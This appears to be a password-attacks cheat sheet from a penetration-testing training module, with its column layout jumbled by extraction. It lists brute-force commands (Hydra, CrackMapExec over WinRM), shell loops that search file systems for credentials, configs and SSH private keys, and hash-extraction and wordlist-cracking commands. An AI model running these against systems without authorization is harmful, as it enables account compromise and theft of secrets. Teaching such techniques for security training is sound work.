Password Attacks Module Cheat Sheet
Password Attacks Module Cheat Sheet
CHEAT SHEET
Connecting to Target
Command Description
Password Mutations
Command Description
Command Description
crackmapexec winrm <ip> Uses CrackMapExec over WinRM to attempt to brute force
-u user.list -p user names and passwords specified hosted on a target.
password.list
hydra -L user.list -P Uses Hydra in conjunction with a user list and password list to
password.list attempt to crack a password over the specified service.
<service>://<ip>
hydra -l username -P Uses Hydra in conjunction with a username and password list
password.list to attempt to crack a password over the specified service.
<service>://<ip>
hydra -L user.list -p Uses Hydra in conjunction with a user list and password to
password attempt to crack a password over the specified service.
<service>://<ip>
Command Description
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git Uses Windows
*.ps1 *.yml command-line
based utility
findstr to search
for the string
"password" in
many different
file type.
Command Description
Command Description
for l in $(echo ".conf .config .cnf");do echo -e Script that can be used to find
"\nFile extension: " $l; find / -name *$l .conf, .config and .cnf files on a
2>/dev/null | grep -v "lib|fonts|share|core" ;done
Linux system.
for i in $(find / -name *.cnf 2>/dev/null | grep -v Script that can be used to find
"doc|lib");do echo -e "\nFile: " $i; grep credentials in specified file
"user|password|pass" $i 2>/dev/null | grep -v
"\#";done types.
for l in $(echo ".sql .db .*db .db*");do echo -e Script that can be used to find
"\nDB File extension: " $l; find / -name *$l common database files.
2>/dev/null | grep -v
"doc|lib|headers|share|man";done
find /home/* -type f -name "*.txt" -o ! -name "*.*" Uses Linux-based find
command to search for text
files.
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do Script that can be used to
echo -e "\nFile extension: " $l; find / -name *$l search for common file types
2>/dev/null | grep -v "doc|lib|headers|share";done
used with scripts.
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc Script used to look for common
.doc* .pdf .pot .pot* .pp*");do echo -e "\nFile types of documents.
extension: " $ext; find / -name *$ext 2>/dev/null |
grep -v "lib|fonts|share|core" ;done
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1" Uses Linux-based command
grep to search the file system
for key terms PRIVATE KEY to
discover SSH keys.
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep Uses Linux-based grep
":1" command to search for the
keywords PRIVATE KEY within
files contained in a user's home
directory.
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1" Uses Linux-based grep
command to search for
keywords ssh-rsa within files
contained in a user's home
directory.
Cracking Passwords
Command Description
ssh2john.pl SSH.private > ssh.hash Runs Ssh2john.pl script to generate hashes for
the SSH keys in the SSH.private file, then
redirects the hashes to a file called ssh.hash.
pdf2john.pl PDF.pdf > pdf.hash Runs Pdf2john.pl script to convert a pdf file to
a pdf has to be cracked.
zip2john ZIP.zip > zip.hash Runs Zip2john against a zip file to generate a
hash, then adds that hash to a file called
zip.hash.
for i in $(cat rockyou.txt);do openssl Script that runs a for-loop to extract files from
enc -aes-256-cbc -d -in GZIP.gzip -k an archive.
$i 2>/dev/null | tar xz;done